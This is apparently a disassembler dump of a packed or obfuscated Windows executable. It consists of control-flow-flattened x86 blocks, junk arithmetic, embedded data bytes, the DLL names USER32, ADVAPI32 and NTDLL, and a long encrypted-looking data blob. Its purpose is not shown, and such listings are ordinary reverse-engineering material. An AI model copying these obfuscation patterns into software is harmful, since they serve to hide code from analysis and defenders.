loc_567BDF:				; CODE XREF: sub_542C3C+1DB9Cj
		pop	ecx
		sub	eax, 4A04342h
		push	[esp+98h+var_98]
		pop	edi
		jmp	loc_5536A3
; ---------------------------------------------------------------------------
		dw 0F740h
		dd 13430DD0h, 432D3EDDh, 0E9FFDFFBh, 0FFFF3CB3h, 240C335Eh
		dd 0E9240C31h, 0FFFEFBF3h, 0CBC58166h, 0C3816622h, 8166043Fh
		dd 662E16EBh, 6655EB01h, 0E921A6BDh, 0FFFFC47Bh
; ---------------------------------------------------------------------------

loc_567C28:				; CODE XREF: sub_542C3C+14D97j
		pop	ecx
		mov	cx, word ptr [esp+0A6h+var_A6]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_55EB3B
; ---------------------------------------------------------------------------

loc_567C3B:				; CODE XREF: sub_542C3C+1FAC0j
		sub	esp, 4
		jmp	loc_55ABC6
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E95C2404h, 0FFFF146Fh
; ---------------------------------------------------------------------------

loc_567C4C:				; CODE XREF: sub_542C3C+11A13j
		add	ebx, 69F265CAh
		sub	ebx, 2B800FB6h
		mov	ebp, [esp+90h+var_90]
		add	esp, 4
		push	eax
		mov	eax, 666AC755h
		jmp	loc_55597C
; ---------------------------------------------------------------------------
		dd 15AD629h, 5CC681EEh,	5D21687Ah, 0BF59E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567C7E:				; CODE XREF: sub_542C3C+201F4j
		sub	edi, ebp
		mov	ebp, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_563EB7
; ---------------------------------------------------------------------------

loc_567C8E:				; CODE XREF: sub_542C3C+244B5j
		mov	edi, 73ED67A1h
		add	edi, 0E8A3A41Ah
		sub	ebx, 539E5C64h
		add	ebx, edi
		add	ebx, 539E5C64h
		pop	edi
		add	ebx, esi
		jmp	loc_559153
; ---------------------------------------------------------------------------
		db 0FFh
		dd 9DE92434h, 81FFFFFAh, 285CFCC2h, 4EA817Ch, 0F72B3656h
		dd 0EDDEE9DAh, 0BD55FFFEh, 4, 875DE901h, 215C240Ch, 242C8BEEh
		dd 4C481h, 0FE870000h, 0FE31D7F7h, 0DAE9F731h, 89FFFFECh
		dd 4C681E6h, 83000000h,	4EE904EEh
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567CFF:				; CODE XREF: sub_542C3C+10AA2j
		mov	ebp, 4
		sub	ebx, ebp
		mov	ebp, [esp+5Ch+var_5C]
		add	esp, 4
		push	ebx
		push	[esp+5Ch+var_58]
		mov	ebx, [esp+60h+var_60]
		add	esp, 4
		pop	[esp+5Ch+var_5C]
		pop	esp
		mov	[esp+54h+var_54], ecx
		mov	ecx, 6A80E899h
		push	ebp
		jmp	loc_55CB13
; ---------------------------------------------------------------------------

loc_567D2C:				; CODE XREF: sub_542C3C+206E1j
		add	esi, edx
		pop	edx
		sub	edx, 16E15A04h
		add	edx, esi
		add	edx, 16E15A04h
		pop	esi
		sub	edx, 4
		jmp	loc_5687CC
; ---------------------------------------------------------------------------

loc_567D49:				; CODE XREF: sub_542C3C+1DAD0j
		dec	esi
		sub	esi, 1CE79107h
		add	ecx, esi
		pop	esi
		add	ecx, ebp
		sub	ecx, 6E181193h
		jmp	loc_56059B
; ---------------------------------------------------------------------------
		dd 4AAEBF57h, 0A1E90B8Bh
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_567D6B:				; CODE XREF: sub_542C3C+20A43j
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+4Ch+var_4C]
		pop	esp
		mov	[esp+48h+var_48], ecx
		sub	esp, 4
		jmp	loc_56332F
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEB7C4h, 0AB99EF81h, 0F989E9FFh, 0A7F1815Fh, 5327AD61h
		dd 66021BBh, 5BD9311Fh,	1BF57h,	58E90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567DAB:				; CODE XREF: sub_542C3C+19FB5j
		sub	edi, esi
		pop	esi
		jmp	loc_55B65A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8B24048Fh, 54552424h, 0D3E9535Dh, 81FFFF08h,	422AC5EBh
		dd 8BDE01AEh, 8956241Ch, 4C681E6h, 0E9000000h, 0FFFFC44Fh
		dd 8DE95551h, 81FFFFE0h, 4C7h, 0BE565000h, 78A1B7Ah, 0FF5AB5E9h
		dd 5BDE89FFh, 0E91C7709h, 0FFFF9149h, 34E95350h, 89FFFFE7h
		dd 0E789243Ch, 0FECD6EE9h, 81CE01FFh, 0F546FEEEh, 0B951593Eh
		dd 2, 0FF2C98E9h, 0E95F54FFh, 0FFFFFFB7h, 1B49ECBAh, 67C18134h
		dd 2931C651h, 79E955D1h
		db 0B9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567E3F:				; CODE XREF: sub_542C3C+1259Dj
		pop	ebx
		jmp	loc_558DCB
; ---------------------------------------------------------------------------
		db 0B1h, 6Ah, 0E9h
		dd 0FFFF60BEh
; ---------------------------------------------------------------------------

loc_567E4C:				; CODE XREF: sub_542C3C+1CE2Bj
		movsx	ecx, ax
		push	2BBAh
		mov	[esp+0B6h+var_B6], ecx
		jmp	loc_553E08
; ---------------------------------------------------------------------------
		dd 2066C680h, 61C4E9F5h, 248BFFFFh, 0E7895724h,	4C781h
		dd 0C7830000h, 243C8704h, 68E1F75Ch, 0B3Ch, 0FED43AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567E85:				; CODE XREF: sub_542C3C+24360j
		push	[esp+50h+var_50]
		jmp	loc_557B23
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C0h
		dd 13DE752h, 0C0C781DFh, 813DE752h, 0B63850EFh,	38E95B5Bh
		dd 89FFFF83h, 5BBA2414h, 8139BE3Eh, 0EFCC88EAh,	740C2DF3h
		dd 0D0011E65h, 65740C05h, 0C5E1E91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567EC6:				; CODE XREF: sub_542C3C+13BCBj
		mov	[esp+84h+var_84], ebp
		mov	ebp, 40484CF2h
		jmp	loc_558E02
; ---------------------------------------------------------------------------

loc_567ED3:				; CODE XREF: sub_542C3C+24C07j
		mov	ebx, 4
		jmp	loc_5551D7
; ---------------------------------------------------------------------------

loc_567EDD:				; CODE XREF: sub_542C3C+1DFADj
		add	ebx, esi
		pop	esi
		pop	eax
		jmp	loc_5636CF
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 6388653Dh, 0D0D6C181h, 0CE9D9C4h, 0F7FFFFD6h, 4DBD55DEh
		dd 295234A3h, 0DE95DEEh, 80FFFFF8h, 0DE300FEBh,	0FEE661E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567F11:				; CODE XREF: sub_542C3C+1DAA1j
		pop	ecx
		push	ebx
		mov	bl, al
		mov	dh, bl
		pop	ebx
		mov	al, bl
		jmp	loc_55DF5D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9C10100h, 0FFFFFBEBh
; ---------------------------------------------------------------------------

loc_567F2C:				; CODE XREF: sub_542C3C+15B21j
		sub	eax, 50BA285Bh
		jmp	loc_5550D7
; ---------------------------------------------------------------------------

loc_567F36:				; CODE XREF: sub_542C3C+11784j
		xor	edx, 56CF743Eh
		sub	edx, 10DD5EFAh
		add	ebx, edx
		jmp	loc_55CD35
; ---------------------------------------------------------------------------

loc_567F49:				; CODE XREF: sub_542C3C+1F8EAj
		sub	eax, 47D55B3Ah
		jmp	loc_56242C
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0C8B0000h, 4C48124h,	0E9000000h, 0FFFEDBF5h
		dd 0C5815D54h, 4, 46857h, 15F0000h, 0FF555FFDh,	8B042474h
		dd 0C481242Ch, 4, 8B24048Fh, 54572424h,	51243C8Bh, 0FF8122E9h
		dd 9DB450FFh, 0CCFECCFEh, 0FE03E4C0h, 0AEEC80CCh, 0FFC1D0E9h
		dd 0E94097FFh, 0FFFFCE8Ch
; ---------------------------------------------------------------------------

loc_567FB4:				; CODE XREF: sub_542C3C+192ADj
		add	edi, 0FFFFFFFFh
		jmp	loc_5634D9
; ---------------------------------------------------------------------------
		dd 0E904C783h, 0FFFFC65Ah
; ---------------------------------------------------------------------------

loc_567FC4:				; CODE XREF: sub_542C3C+22D76j
		sub	esi, 22FB37DCh
		xor	esi, 31ED2186h
		xor	esi, 0FCA9EB55h
		mov	edi, esi
		mov	esi, [esp+7Ch+var_7C]
		add	esp, 4
		add	ebp, edi
		mov	edi, [esp+78h+var_78]
		jmp	loc_5577E9
; ---------------------------------------------------------------------------
		dd 4BE56h, 0F1890000h, 8B2434FFh, 0C4812434h, 4, 5504C483h
		dd 0FF9500E9h, 240487FFh, 873DE95Ch, 0B951FFFFh, 4, 8359CB01h
		dd 1C8704C3h, 15A7E924h, 0C781FFFFh, 7FD9EA65h,	9AE9F829h
		dd 0BFFFFEFDh, 0D702F89Eh, 0FF534EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568039:				; CODE XREF: sub_542C3C+17802j
		mov	[esp+74h+var_74], esi
		mov	esi, 136356D9h
		sub	esi, 3652215Fh
		jmp	loc_565809
; ---------------------------------------------------------------------------
		dd 0B6183EB9h, 4E1C11Fh, 0D7F7F987h, 0FF38F0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56805D:				; CODE XREF: sub_542C3C+24D35j
		add	ebp, 5A14EE36h
		mov	eax, ebp
		pop	ebp
		jmp	loc_55C60E
; ---------------------------------------------------------------------------
		db 81h
		dd 554A32C6h, 0F60AE92Ch, 815AFFFEh, 4C4h, 2C38100h, 81000000h
		dd 4ECh, 241C8900h, 0FF781AE9h,	241C8BFFh, 0FFA814E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568099:				; CODE XREF: sub_542C3C+17160j
		push	0
		sub	[esp+96h+var_98+2], ecx
		pop	ecx
		shl	ecx, 5
		push	edi
		push	564Fh
		mov	[esp+9Ah+var_9C+2], eax
		mov	eax, 58682057h
		mov	edi, 4BD640C8h
		add	edi, eax
		pop	eax
		sub	ecx, edi
		mov	edi, [esp+96h+var_98+2]
		add	esp, 4
		mov	[edi+20h], ecx
		pop	ecx
		push	3660h
		mov	[esp+92h+var_94+2], eax
		push	0
		pop	eax
		push	1B55h
		mov	[esp+96h+var_98+2], eax
		push	eax
		push	ebp
		jmp	loc_560109
; ---------------------------------------------------------------------------
		dd 8851B62Ch, 0DBECE9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5680EE:				; CODE XREF: sub_542C3C+204FCj
		add	esp, 4
		push	eax
		pop	ebx
		push	[esp+8Ch+var_8C]
		pop	eax
		push	348Ch
		mov	[esp+90h+var_90], ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_55C4E0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24143300h, 33241431h, 248B2414h, 48B6624h, 77C76824h
		dd 14890000h, 815A5424h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 58542404h, 405h, 80E95100h, 0ADFFFFB9h, 4EC81h, 1C890000h
		dd 6B685024h, 58771A57h, 0FFB3ECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56815D:				; CODE XREF: sub_542C3C+18289j
		push	ebp
		push	edi
		mov	edi, 431C0881h
		neg	edi
		add	edi, 1DF320CDh
		or	edi, 1C043096h
		inc	edi
		push	4419h
		mov	[esp+54h+var_54], esi
		push	eax
		jmp	loc_558022
; ---------------------------------------------------------------------------
		db 88h,	0E2h, 58h
		dd 0E94DF280h, 0FFFF8271h, 6266C681h, 0BE95BB5h, 81FFFEE5h
		dd 722482E9h, 81F1014Ah, 722482C1h, 0C1835E4Ah,	240C8704h
		dd 5DA6685Ch, 1C890000h, 80B85024h, 252DFE60h, 704D39F6h
		dd 6803E0C1h, 1A1Bh, 0BA241489h, 75DF06BAh, 0CA81D2F7h
		dd 4BFE7B3Ah, 2414F752h, 0F92FE95Ah, 0E950FFFEh, 0FFFED5C6h
		dd 4BB31CB5h, 0E959EB30h, 0FFFFC5F9h, 0E9F08850h, 0FFFF3E78h
		dd 6851564Ah, 0E777E12h, 0E9D1F759h, 0FFFEC873h, 0C004C483h
		dd 0EFD006E7h, 6602EC83h, 0B2241489h, 66D730BFh, 90C7805Ah
		dd 0FF721CE9h, 8BB32CFFh, 0C481241Ch, 4, 0FF61A3E9h, 59C829FFh
		dd 8B64722Dh, 55782D0Eh, 0DC681A6Ch, 89000060h,	0B9BD242Ch
		dd 45493900h, 68h, 0F094E900h, 0BD55FFFEh, 1D952301h, 6CFEC581h
		dd 0E58160C8h, 5E6D59A3h, 0C581D5F7h, 447328FEh, 7C52B951h
		dd 0D9F76E66h, 0C778C181h, 0CD313106h, 5DE93159h, 0E981D9F7h
		dd 716592B9h, 0C8BC801h, 5D545524h, 0FEC124E9h,	0C9EF81FFh
		dd 815D9A2Ch, 0E7835C7h, 2434FF69h, 4C4815Dh, 0E9000000h
		dd 0FFFFBF31h, 81241C8Bh, 4C4h,	91BA5200h, 0E918C100h
		dd 0FFFF3546h, 835AD301h, 31E904EBh, 81FFFEE2h,	0CB0222EAh
		dd 81C2016Dh, 0CB0222C2h, 994E96Dh, 0F380FFFFh,	80D3F65Ah
		dd 0DA8844EBh, 0FFAD6EE9h, 0FB015FFFh, 0BEE3815Fh, 0E91A1B5Fh
		dd 0FFFFC032h, 54525258h, 4C2815Ah, 56000000h, 0FF3153E9h
		dd 0C4815CFFh, 4, 0FFF496E9h, 5EF201FFh, 4EC81h, 14890000h
		dd 0B899E924h, 0F209FFFEh, 1E81E95Eh, 0C483FFFFh, 2BD5504h
		dd 1000000h, 242C8BE8h,	0E904C483h, 0FFFF780Ah
; ---------------------------------------------------------------------------

loc_568358:				; CODE XREF: sub_542C3C+1B8F1j
		mov	ecx, 1CF45288h
		xor	ecx, 5CAB5945h
		xor	ecx, 27145DADh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_55F2C2
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 0FFE527E9h, 7FC281FFh, 0E9319877h, 0FFFF9E33h, 815FFD31h
		dd 0FFFFFFEDh, 1327E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568392:				; CODE XREF: sub_542C3C+143DCj
		pop	edi
		mov	ebp, edi
		pop	edi
		pop	ecx
		xor	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_5604A4
; ---------------------------------------------------------------------------
aC_2		db '¶Û·C',0
		dw 0E9F7h
		dd 0FFFF826Ah, 8704C183h, 0BBE9240Ch, 5D000000h, 8105E7C1h
		dd 3D88E0F7h, 0FE89568Bh, 5F5EF189h, 0B850D101h, 0
		dd 0A5EA32Dh, 5C8011Fh,	1F0A5EA3h, 0FF581888h, 0E9592434h
		dd 0FFFF4D22h, 0B44E942Dh, 0E9C7012Fh, 0FFFFED71h, 2 dup(0D3F6CBFEh)
		dd 0C0EFCB80h, 0EB8006E3h, 0D1EB80FFh, 0B2E9D828h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56840F:				; CODE XREF: sub_542C3C+20065j
		push	edi
		mov	edi, 796B6281h
		jmp	loc_55D9AC
; ---------------------------------------------------------------------------

loc_56841A:				; CODE XREF: sub_542C3C+20C95j
		pop	ebp
		push	653Ch
		mov	[esp+84h+var_84], esi
		jmp	loc_5553DE
; ---------------------------------------------------------------------------

loc_568428:				; CODE XREF: sub_542C3C+22A5Aj
		mov	[esp+44h+var_44], ebp
		mov	ebp, esp
		jmp	loc_55D8D7
; ---------------------------------------------------------------------------

loc_568432:				; CODE XREF: sub_542C3C+20CFFj
		mov	ah, 82h
		jmp	loc_55F757
; ---------------------------------------------------------------------------

loc_568439:				; CODE XREF: sub_542C3C+10D2Bj
		push	5B8769A5h
		mov	ecx, [esp+48h+var_48]
		jmp	loc_554E09
; ---------------------------------------------------------------------------

loc_568446:				; CODE XREF: sub_542C3C+18770j
		add	esp, 4
		sub	esp, 4
		mov	[esp+5Ch+var_5C], eax
		mov	eax, 3113792Dh
		push	ebp
		mov	ebp, 52C3069h
		jmp	loc_553ABC
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 2414D366h, 0B0DAE99Ch, 685CFFFEh,	0CC3h
		dd 0E9243489h, 0FFFEE183h, 295BDE29h, 0ED815EF5h, 3C712B7Eh
		dd 0FF6152E9h, 0B0E951FFh, 5BFFFEB1h, 0FF33B8E9h, 0E9685FFFh
		dd 89000063h, 4B9240Ch,	0E9000000h, 0FFFFDA12h,	4A5AF4BDh
		dd 344EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5684BA:				; CODE XREF: sub_542C3C+1ACADj
		add	ebp, 4
		push	568Dh
		mov	[esp+0AEh+var_AE], ebp
		jmp	loc_558500
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 6
		dd 293AC381h, 0E9552E7Eh, 0FFFF586Ch
; ---------------------------------------------------------------------------

loc_5684DC:				; CODE XREF: sub_542C3C+18A19j
		shr	edx, 3
		sub	edx, 71463DD1h
		add	edx, 7ED8FBD6h
		mov	edi, edx
		jmp	loc_559ECE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C781h, 3C870000h, 0D7F65C24h, 5066C7FEh,	9CE9FCB4h
		dd 0FFFFFF13h, 0C8B2434h, 4C48324h, 0FF04C7E9h,	24048FFFh
		dd 124248Bh, 0E99C2404h, 0FFFEB020h, 8704E883h,	248B2404h
		dd 24348924h, 0FF4DC8E9h, 8DF181FFh, 0E987A3E6h, 0FFFF70DCh
; ---------------------------------------------------------------------------

loc_568548:				; CODE XREF: sub_542C3C+1AB28j
		push	7CE8h
		mov	[esp+86h+var_88+2], ebp
		push	edx
		push	49B353CFh
		pop	edx
		jmp	loc_55C375
; ---------------------------------------------------------------------------
		dd 55243489h, 8F382C68h, 58EDE94Dh, 0C181FFFFh,	439568C2h
		dd 0FEDCB5E9h, 0FECEB1FFh, 32C180C9h, 0FE59CB28h, 0BEE951C3h
		dd 52FFFFEEh, 0FFE9A8E9h, 0C8B66FFh, 4EC8124h, 89000000h
		dd 0E2892414h, 8904EC83h, 95E9241Ch, 52FFFF3Ch,	7C3E3668h
		dd 0F74A5A45h, 0CFBF57DAh, 29BA83BDh, 0B8F1E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5685BE:				; CODE XREF: sub_542C3C+1561Dj
		add	ebp, 4DA81F73h
		mov	esi, [esp+46h+var_48+2]
		jmp	loc_55C48B
; ---------------------------------------------------------------------------
		dd 242C8B54h, 5704C483h, 0FF84C0E9h, 7741BEFFh,	0EE8141F6h
		dd 55427A3Ch, 0FEFDF2E9h, 0C98141FFh, 31E472E3h, 1BB9E981h
		dd 0EA81A740h, 28A19BFh, 0C281CA01h, 28A19BFh, 5AD62159h
		dd 0FEF706E9h, 64A5BFFFh, 69E9313Eh, 81FFFED8h,	6E793DC1h
		dd 0E981412Ah, 60147523h, 0E959C821h, 0FFFF1325h, 89240C89h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0C5835C24h, 242C8702h
		dd 48B665Ch, 8B545124h,	0C483240Ch, 55626804h, 4890000h
		dd 4BE9B824h, 0E0C11163h, 8E0C102h, 0E953D0F7h,	0FFFF68EAh
; ---------------------------------------------------------------------------

loc_56866C:				; CODE XREF: sub_542C3C+243B3j
		add	esp, 4
		sub	esp, 4
		mov	[esp+76h+var_78+2], edx
		push	66605822h
		pop	edx
		push	ecx
		push	edx
		mov	edx, 57465247h
		shr	edx, 1
		dec	edx
		push	edi
		mov	edi, 74341EB4h
		xor	edi, 32C77BC7h
		xor	edx, edi
		pop	edi
		mov	ecx, edx
		pop	edx
		add	ecx, 592F13Eh
		or	edx, ecx
		jmp	loc_55466E
; ---------------------------------------------------------------------------

loc_5686A7:				; CODE XREF: sub_542C3C+13F4Bj
		add	edx, 1
		sub	esp, 4
		mov	[esp+7Ch+var_7C], edx
		dec	[esp+7Ch+var_7C]
		mov	edx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_56758E
; ---------------------------------------------------------------------------

loc_5686C7:				; CODE XREF: sub_542C3C+23266j
		add	eax, edi
		pop	edi
		xor	ebx, eax
		jmp	loc_55C0AA
; ---------------------------------------------------------------------------
		db 0E9h, 76h, 0AEh
		dd 0E5C1FFFEh, 18C58102h, 10887EEh, 0C1815DE9h,	4, 0FEEB45E9h
		dd 2434FFFFh, 4C4815Ah,	51000000h, 42474FFh, 24048F59h
		dd 6624248Bh, 0E9240489h, 0FFFEAE40h, 247BACBBh, 48EAE928h
		dd 489FFFFh, 81B4E924h,	3487FFFFh, 68E95C24h, 29FFFEE3h
		dd 0C3815DEBh, 52555E6h, 8B2434FFh, 0C481240Ch,	4, 4C481h
		dd 8B660000h, 55572414h, 0FF3BBCE9h, 4EC83FFh, 0FF9DD6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568755:				; CODE XREF: sub_542C3C+19CFCj
		and	ebp, 5EBD00A4h
		jmp	loc_56007D
; ---------------------------------------------------------------------------
		dd 0D7686FB3h, 0E9000012h, 0FFFFD2EDh, 0EB242C81h, 0E9057F76h
		dd 0FFFEE918h
; ---------------------------------------------------------------------------

loc_568778:				; CODE XREF: sub_542C3C+143EFj
		pop	edi
		xor	eax, edx
		push	[esp+8Ch+var_8C]
		push	[esp+90h+var_90]
		pop	edx
		add	esp, 4
		add	esp, 4
		jmp	loc_564E9C
; ---------------------------------------------------------------------------
		dd 0A4E9515Ch, 81FFFEE7h, 4C4h,	0DA0CE900h, 0E95BFFFFh
		dd 0FFFF5951h
; ---------------------------------------------------------------------------

loc_5687A8:				; CODE XREF: sub_542C3C+1EFA3j
		push	ecx
		jmp	loc_555F29
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 481525Dh, 0C04C9424h, 0EB815B67h, 67C04C94h,	50C7815Ah
		dd 0E95BB638h, 0FFFFF6C1h
; ---------------------------------------------------------------------------

loc_5687CC:				; CODE XREF: sub_542C3C+25108j
		xor	edx, [esp+74h+var_74]
		jmp	loc_5569B6
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 8847A02Dh, 5D00103h, 38847A0h, 2099685Ah
		dd 4890000h, 2474FF24h,	48F5804h, 24248B24h, 9C240409h
		dd 0FEAD47E9h, 24248BFFh, 0C107E3C1h, 0EBC104EBh, 0AA96E902h
		dd 5868FFFFh, 8900001Fh, 0DFBE2434h, 8101D937h,	0F93246F6h
		dd 8E6C12Fh, 5CFFC681h,	0C0E93343h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568837:				; CODE XREF: sub_542C3C+2076Aj
		mov	eax, [esp+80h+var_80]
		add	esp, 4
		sub	ebx, 1B271F96h
		pop	small word ptr [eax]
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_56884B:				; CODE XREF: sub_542C3C+121D9j
		shr	ecx, 6
		shl	ecx, 7
		jmp	loc_567103
; ---------------------------------------------------------------------------

loc_568856:				; CODE XREF: sub_542C3C+1C95Fj
		push	eax
		sub	esp, 4
		jmp	loc_554C4C
; ---------------------------------------------------------------------------
		dw 0D588h
		dd 0E959E888h, 0FFFF01B6h, 4B3068h, 38C8E900h, 895CFFFFh
		dd 0E3BB241Ch, 5169BA2Ah, 994B70B9h, 595E51C4h,	295BDE01h
		dd 0CF46E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568892:				; CODE XREF: sub_542C3C+21AB1j
		mov	ebx, 13C06636h
		xor	[esp+96h+var_94+2], ebx
		pop	ebx
		jmp	loc_558FD1
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0A0h
		dd 815B4921h, 534F2C2h,	9CEA8174h, 29FDCD37h, 0C5815AD1h
		dd 35551DF6h, 0ED81CD01h, 35551DF6h, 0FFAA2DE9h, 6BF3BAFFh
		dd 0EAC10600h, 5E2C102h, 436CBE56h, 0F2213CFDh,	2F2815Eh
		dd 0E940E073h, 0FFFFF914h, 4DBBA52h, 0CA8162E0h, 4A1005F8h
		dd 0E9FFC283h, 0FFFF7220h, 60A2E951h, 97B9FFFFh, 5614895Ch
		dd 0FFA6F9E9h, 0D5E957FFh, 81FFFF01h, 4C7h, 1E58E900h
		dd 6858FFFFh, 79CCh, 0FFF218E9h, 4EC81FFh, 0E9000000h
		dd 0FFFFFCF8h, 6DFC381h, 0E3C1795Dh, 0CFF38107h, 0F7252051h
		dd 34F381D3h, 1BC7C7Fh,	44E95BD8h, 58FFFEF1h, 0EC835B66h
		dd 0E84AE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56895E:				; CODE XREF: sub_542C3C+3D12j
		jmp	short loc_568996
; ---------------------------------------------------------------------------
aUser32_dll_0	db 'USER32.dll',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aNtdll_dll_0	db 'NTDLL.dll',0
		db '×',7,7,0
		dw 4
		dd 11001Ah, 20033h, 0EF3C007Ch
		db 5Fh,	5Dh
; ---------------------------------------------------------------------------

loc_568996:				; CODE XREF: sub_542C3C:loc_56895Ej
		jmp	loc_569256
; ---------------------------------------------------------------------------
		db 68h
		dd 5E99EF5h, 0FDE28EE9h, 9F8868FFh, 84E905E9h, 68FFFDE2h
		dd 5E9A07Ah, 0FDE27AE9h, 0A1B068FFh, 70E905E9h,	68FFFDE2h
		dd 5E9A231h, 0FDE266E9h, 0A33168FFh, 5CE905E9h,	68FFFDE2h
		dd 5E9A39Eh, 0FDE252E9h, 37E202FFh, 80A951A1h, 0CE4B9AEAh
		dd 1918E838h, 61C83383h, 2649B2CBh, 6EBE54D5h, 0BB0BA190h
		dd 555EB46h, 0CCA137FAh, 71E2C6B3h, 846A5A7Bh, 331F57FFh
		dd 0F4E19800h, 5176E2B1h, 55D42634h, 0D4410F1Dh, 0A205192Bh
		dd 1A3B38F9h, 9C80F7E2h, 0BFE89333h, 7388964Dh,	99D169B6h
		dd 0C5529986h, 4D23138h, 0CCB9CEB7h, 3A3AC5E8h,	0C46AA270h
		dd 60722993h, 84774083h, 0CC058A5h, 0ABE361E1h,	80F5AB98h
		dd 5B70371Fh, 21A28A6Eh, 6F31240h, 4021A322h, 3E76DCAAh
		dd 9DAB6230h, 0E239CF62h, 91B75D0h, 846173A9h, 0EBF72F95h
		dd 7F91D14h, 61FF438Fh,	6FAE084h, 29BB0000h, 0F00A5AF0h
		dd 9253A339h, 5FA1F187h, 0FEC3CD2h, 26B841Ah, 770D1CDFh
		dd 0C45AD727h, 0EA48D74h, 5AF041BEh, 9B7F6C85h,	235A7B71h
		dd 39C6B83Dh, 90DD4CAEh, 5C4592F8h, 317EB34Eh, 6610964Bh
		dd 6AD0D7F2h, 0F15B8C32h, 6F284D3Ah, 91A35178h,	0E46E539Eh
		dd 0A0AEE633h, 0F4D50084h, 0EB510A73h, 0CDB2634h, 270AF5F2h
		dd 76DC74C1h, 954AB1BFh, 1562C869h, 353457Dh, 4E633FEh
		dd 3B13E8FBh, 0E643E4E3h, 5FAE5C80h, 0DDBAE4E9h, 66739h
		dd 83964E00h, 0CC5D9DEDh, 1AFFE636h, 65CC3484h,	0AD7C7FCFh
		dd 7295FE17h, 0BA0AA089h, 757ED44h, 51A137FAh, 18ED83AEh
		dd 732E12FFh, 0D0B65A7Bh, 0F839C64Bh, 0C022F41h, 9D4ABFF2h
		dd 25DABC65h, 0C224BF0Ch, 45974134h, 5B78457Ch,	23000000h
		dd 62F839C6h, 0D407E70Dh, 76895491h, 2EF04BBh, 5491D41Eh
		dd 0AEA0D8A6h, 1CDF93C4h, 0C228C00Dh, 0E7EFF90Bh, 0C408869Fh
		dd 0C44ED14h, 0A1760CF9h, 0A8765177h, 131EE3F1h, 0BE14267Dh
		dd 6C444E85h, 5387D286h, 15273777h, 130D1DDh, 3EBDCBB4h
		dd 0CE069EEBh, 5BF00h, 39C66300h, 42FABF8h, 8DF0DD94h
		dd 155176C5h, 9E61B147h, 0E2CADC93h, 5C499205h,	7761538Bh
		dd 3825DC4Ch, 575FF996h, 0B19D09Eh, 72843BF6h, 0C3E3B413h
		dd 0D7C9014Bh, 6AB77A87h, 96BA7788h, 0DF01577Eh, 756D11EEh
		dd 40000005h, 8FDF75A4h, 0D828BE6Bh, 26760C0Dh,	71C157DAh
		dd 0F0099F8Ah, 92976487h, 0DF52ACFCh, 2908F949h, 75BC4393h
		dd 4F10ADFh, 5A7B7420h,	0C63DC2A8h, 0C9ABF839h,	13AEFB36h
		dd 0B72D5BB1h, 0B25491D2h, 0D4CCB09Dh, 86545491h, 91D513F7h
		dd 67CD9B54h, 7CFD32DBh, 4B5D7245h, 0FE11167Dh,	694DDC45h
		dd 0F1549285h, 0BA0722D9h, 1284BC22h, 0FFFFFEF1h, 5FADBFBDh
		dd 6D032FEBh, 2FD0941h,	3D66E22Fh, 2C2714CBh, 2F517793h
		dd 552DF21h, 974B2F1Ch,	5D35A79h, 3D59679Fh, 0D7AE02DEh
		dd 0F98FF5AFh, 0BD74E40Fh, 5E5175D0h, 0E22FFD57h, 60584221h
		dd 1D7DD60h, 0FCE41D2Bh, 60582B0Fh, 7FE5B360h, 7CB55F47h
		dd 6F964EB2h, 41000001h, 0D8F0ADBFh, 1FA83D84h,	480A6CE7h
		dd 9F6AD1Fh, 517741C6h,	6BC63B49h, 404E861Eh, 0D840572h
		dd 75933362h, 0E23DA42h, 0F9310000h, 388BC70Eh,	402D4231h
		dd 3A3A8B5Ch, 0D0DE16E4h, 0E39B502h, 44FAE79Eh,	0C4371FA3h
